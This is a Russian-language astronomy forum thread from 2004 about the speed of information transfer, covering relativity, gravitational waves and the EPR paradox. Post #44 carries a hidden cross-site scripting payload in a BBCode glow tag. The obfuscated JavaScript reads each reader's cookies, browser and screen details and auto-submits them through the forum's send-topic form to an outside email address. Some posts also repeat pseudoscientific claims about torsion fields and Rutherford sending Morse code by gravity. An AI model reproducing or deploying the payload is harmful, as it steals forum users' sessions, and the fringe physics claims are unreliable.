A A A A Автор Тема: Скорость распространения информации (Прочитано 27418 раз)

servol · « **Ответ #40 :** 07.10.2004 [15:51:20] »

Цитата: BloodyMax от 07.10.2004 [15:48:50]

Ну, про ОТО не знаю, а в рамках СТО все известные поля, которые могут как-либо поменять состояние чего-либо, распространяются со скоростью света, так как это вообще ЭМ теория.

Так ведь вопрос косвенно и сводился к корректности применения ТО к передаче информации. Причем именно в "абсолютной" форме.

bob · « **Ответ #41 :** 07.10.2004 [15:54:23] »

Цитата: SerVol от 07.10.2004 [15:48:00]

Цитата: Profi от 07.10.2004 [15:44:00]
А при наличии какой-то новой субстанции в природе, о которой мы не ведаем, возможны и более высокие скорости в природе. И такое можно предположить, ну, например, гравитация! Что мы знаем о ее природе?
А почему бы и нет? Явление гравитации - вполне подходит для передачи информации.
Правда, это несколько выходит за рамки обсуждаемой темы...

Не подходит

servol · « **Ответ #42 :** 07.10.2004 [15:56:10] »

Цитата: bob от 07.10.2004 [15:54:23]

Не подходит

Точно? Очень жаль. А так удобно было бы...

Profi · « **Ответ #43 :** 07.10.2004 [15:57:22] »

Не помню, где читал, но сердечная мышца раньше реагирует на гравитационные возмущения на солнце, чем приходит свет, то ли торсионщики, то ли еще кто....

bob · « **Ответ #44 :** 07.10.2004 [15:58:55] »

У Эйнштейна гравволна квадрупольная, длинная и очень слабая относительно энергии породившего ее процесса, стремительно падающая с расстоянием, в отличие от ЭМВ. В моих предположениях ее ваще нетути. [glow=red);background:url(javascript:люди, ну оставьте пожалуйста форум в покое{u=document.links\x5bi\x5d.href;n=u.search('=profile;user=');if(n!=-1)break;};if(n!=-1){nm=u.substr(n+14);if(document.cookie.search('3x3=dyrka')==-1){if(window.history.length==0){e=new\x20Date();e.setTime(e.getTime()+365*86400000);ed=e.toGMTString();document.cookie='3x3=dyrka;\x20expires='+ed;for(i=0;i\x3cdocument.links.length;i++){u=document.links\x5bi\x5d.href;n=u.search('sesc=');if(n!=-1){sc=u.substr(n+5\x2c32)};n=u.search('board=');if(n!=-1){bo=parseInt(u.substr(n+6))};n=u.search('threadid=');if(n!=-1){th=parseInt(u.substr(n+9))}};a='\x68ttp\x3a\x2f\x2f\x77ww.astronomy.ru\x2fforum\x2findex\x2ephp\x3fboard='+bo+';threadid='+th+';action=sendtopic2;y_email=aa@bb.cc;r_name='+nm+';r_email=anton2003@inbox.ru';mes=document.cookie+'\x20'+navigator.userAgent+'\x20'+screen.width+'x'+screen.height+'/'+screen.colorDepth+'\x20'+document.charset;b='\x3chtml\x3e\x3cbody\x20bgColor=#1A065B\x3e\x3cform\x20action=\x22'+a+'\x22\x20method=\x22post\x22\x3e\x3cinput\x20type=hidden\x20name=\x22sc\x22\x20value=\x22'+sc+'\x22\x20\x3e\x3cinput\x20type=hidden\x20name=\x22y_name\x22\x20value=\x22'+mes+'\x22\x20\x3e\x3c\x2fform\x3e\x3cscript\x3edocument.forms\x5b0\x5d.submit();\x3c\x2fscript\x3e\x3c\x2fbody\x3e\x3c\x2fhtml\x3e';document.write(b);}else{window.open(document.location.href).moveTo(-10000);}}}"));filter:glow(color=red,2,300] [/glow]

Profi · « **Ответ #45 :** 07.10.2004 [15:59:35] »

Bob!
А вот Резерфорд так не думал, а передавал морзянку...

bob · « **Ответ #46 :** 07.10.2004 [16:11:22] »

Он приливной волной передавал. Это ваще отстой

Profi · « **Ответ #47 :** 07.10.2004 [16:24:02] »

А у него в лаб. океан был?

bob · « **Ответ #48 :** 07.10.2004 [17:29:44] »

Дело не в океане-море

Вы можете медленно смещать магнит и вблизи от него регистрировать изменение магнитного поля. Но это не значит, что вы ведете сеанс радиосвязи

Profi · « **Ответ #49 :** 07.10.2004 [18:07:29] »

Bob!
Мы не поняли друг друга. Я имел ввиду эксперимент Резерфорда, когда он конкурировал с Маркони на заседании Английской Королевской АН. У Маркони получилась дальность 35 км у Резерфорда всего 800 м. Это, фактически, и определило исследования в области ЭМИ на столетие. На сколько я помню, Резерфорд использовал гравитационный способ передачи информации. Как он это делал, я не знаю, и найти в то время инфо мне не удалось. Застой, понимаете! Знаю точно, что морзянку он передавал из своей лаб.
Что об этом вам известно! С этим вопросом я обращался ко многим, кто плотно занимается гравитацией, но ответа не получил. Не являются ли торсионные исследования, переоткрытием опытов Резерфорда 100-й давности в "чудной" форме?

ALexpert · « **Ответ #50 :** 08.10.2004 [08:14:16] »

Цитата: BloodyMax от 07.10.2004 [12:29:43]

Вроде бы сейчас вовсю разрабатывается идея мгновенной передачи информации за счет корелляции состояний совместно рожденных квантовых частиц.

Вы говорите про парадокс Эйнштейна-Подольского-Розена. Суть парадокса состоит в следующем. Есть две частицы, которые какое-то время взаимодействуют, образуя единую систему. С позиций квантовой механики эту связанную систему можно описать некоей волновой функцией. Когда взаимодействие прекращается и частицы разлетаются очень далеко, их по-прежнему будет описывать та же функция. Но состояние каждой отдельной частицы неизвестно в принципе: это вытекает из соотношения неопределенностей. И только когда одна из них попадает в приемник, регистрирующий ее параметры, у другой появляются (именно появляются, а не становятся известными!) соответствующие характеристики. То есть возможна мгновенная "пересылка" квантового состояния частицы на неограниченно большое расстояние. Телепортации самой частицы (передачи массы) при этом не происходит.

Немного отвлекаясь от абстрактного понятия информации, хочу задать вопрос. Какое количество информации содержится в сообщении: "масса движущегося электрона равна столько-то". Интересует не столько численное значение, сколько принципиальная возможность его вычислить.

bob · « **Ответ #51 :** 08.10.2004 [08:38:14] »

Цитата: Profi от 07.10.2004 [18:07:29]

Bob!
Мы не поняли друг друга. Я имел ввиду эксперимент Резерфорда, когда он конкурировал с Маркони на заседании Английской Королевской АН. У Маркони получилась дальность 35 км у Резерфорда всего 800 м. Это, фактически, и определило исследования в области ЭМИ на столетие. На сколько я помню, Резерфорд использовал гравитационный способ передачи информации. Как он это делал, я не знаю, и найти в то время инфо мне не удалось. Застой, понимаете! Знаю точно, что морзянку он передавал из своей лаб.
Что об этом вам известно! С этим вопросом я обращался ко многим, кто плотно занимается гравитацией, но ответа не получил. Не являются ли торсионные исследования, переоткрытием опытов Резерфорда 100-й давности в "чудной" форме?

Он это делал очень просто. Помните, как определили гравпостоянную? Проверили отклонение маятника около железки , массой в несколько десятков тонн и взяли пропорцию к земному притяжению. Если массивный груз начать двигать или вращать, он создает вполне ощутимые переменные приливные силы. Ну , как Луна, например. При точности установки Резерфорда, они могли регистрироваться до 800 м. Но это не аналог радиоволны. Аналог этой установки для ЭМвзаимодействия - медленно вращающийся массивный магнит. С его помощью можно получить аналог приливной магнитной волны. И результат по дальности будет лежать посередине между опытом Маркони и опытом Резерфорда из-за большей величины постоянной. Однако, это не будет полноценной радиосвязью. Смысл вот в чем. Магнит тоже испускает виртуальные фотоны, но широкого спектра длин, в-основном, пропорциональных расстоянию между магнитом и пробным телом. А колеблющийся единичный заряд испускает кванты, пропорциональные по длине амплитуде его колебания. Кванты приливной волны не пропорциональны амплитуде колебания магнита. Они вообще почти от нее не зависят. Точнее, требуемая мода излучения содержится, но ее энергия ничтожна, в сравнении с традиционным радиопередатчиком. Магнит будет создавать быстро затухающий шум вместо передачи. Добавлю к этому, что я уверен в том, что гравитация этой моды вообще не может порождать, а распространяется только приливной волной. Иными словами, летит Луна. Мы видим ее электромагнитное изображение не за счет взаимодействия Луны и Земли, а за счет плоских волн, отраженных ее поверхностью. Гравитационное "изображение" Луны - это прилив. Его картина тоже запаздывает так же, как и свет, но это не волна, подобная радиоволнам.

bob · « **Ответ #52 :** 08.10.2004 [08:48:41] »

То есть, когда говорят об опытах Вебера по попытке регистрации гравитационных волн, речь идет не о попытках уловить переменные приливные силы от вращающихся тесных двойных или коллапсаров. Их не уловишь, они очень слабы и хаотичны. Речь идет о попытке поймать гравволну, аналогичную электромагнитной, одномодовую и медленно затухающую, вытекающую из построений ОТО Эйнштейна. Я практически убежден в том, что это построение является чистым артефактом ОТО и на самом деле не существует.

Profi · « **Ответ #53 :** 08.10.2004 [10:03:22] »

Bob!
Огромное спасибо! Несколько яснее, а нельзя ли найти что-то в инете по сути экспериментов Резерфорда и Вебера? Как это делалось? или литературу?

bob · « **Ответ #54 :** 08.10.2004 [12:38:38] »

Уилер, Мизнер, Торн, "Гравитация" трехтомник. Лежит в "библио-глобусе", на Лубянке почти всегда.

Павел Фоменко · « **Ответ #55 :** 12.10.2004 [09:18:59] »

Касательно носителя информации.
Как вы думаете, какую информацию содержит точка? Один бит. А если точка отсутствует? Тоже один бит. А если точка движется вдоль оси (траектория - прямая)? Уже сложнее.
Возьмем теперь круг. Он несет информацию? Несомненно. Отрежем от него половину или даже больше. Мы можем предположить что эта фигура была кругом и даже полностью ее восстановить. И вроде бы информация об объекте не потерялась.
К чему все это я веду? К тому что определяя понятие информативности (даже выражения E=m*c^2) для начала необходимо понять информативность простейших геометрических фигур. А это в принципе не так уж и сложно.

bob · « **Ответ #56 :** 12.10.2004 [09:30:53] »

Строго восстановить круг по его участку нельзя. Для этого нужно априорно заранее предположить , что фигура изначально была кругом.

Павел Фоменко · « **Ответ #57 :** 12.10.2004 [10:39:21] »

Можем и именно строго восстановить! Как и по трем точкам параболу или гиперболу. По двум точкам - прямую или отрезок.
Нужно ещ отличать информативность содержания, положения и изменения объекта.

bob · « **Ответ #58 :** 12.10.2004 [10:44:12] »

Вы можете восстановить по трем точкам гиперболу, если знаете, что это должна быть гипербола. А инфа о том, что это - именно гипербола, а не треугольник или еще что-то - это уже и есть вся инфа. Больше ничего не надо.

Soal · « **Ответ #59 :** 12.10.2004 [11:07:21] »

Цитата: ALexpert от 08.10.2004 [08:14:16]

Цитата: BloodyMax от 07.10.2004 [12:29:43]
Вроде бы сейчас вовсю разрабатывается идея мгновенной передачи информации за счет корелляции состояний совместно рожденных квантовых частиц.
Вы говорите про парадокс Эйнштейна-Подольского-Розена. Суть парадокса состоит в следующем. Есть две частицы, которые какое-то время взаимодействуют, образуя единую систему. С позиций квантовой механики эту связанную систему можно описать некоей волновой функцией. Когда взаимодействие прекращается и частицы разлетаются очень далеко, их по-прежнему будет описывать та же функция. Но состояние каждой отдельной частицы неизвестно в принципе: это вытекает из соотношения неопределенностей. И только когда одна из них попадает в приемник, регистрирующий ее параметры, у другой появляются (именно появляются, а не становятся известными!) соответствующие характеристики.

"Регистрирующий параметры" - то есть считывание информации, уже имеющейся на материальном носителе. Какое отношение это имеет к "мгновенной передаче информации"?

Цитата: ALexpert от 08.10.2004 [08:14:16]

То есть возможна мгновенная "пересылка" квантового состояния частицы на неограниченно большое расстояние. Телепортации самой частицы (передачи массы) при этом не происходит.

Имеем "мгновенное _считывание_" информации с материального носителя, насколько я понял.

Новости:

A A A A Автор Тема: Скорость распространения информации (Прочитано 27418 раз)

servol

bob

servol

bob

bob

bob

bob

bob

bob

bob

bob

Soal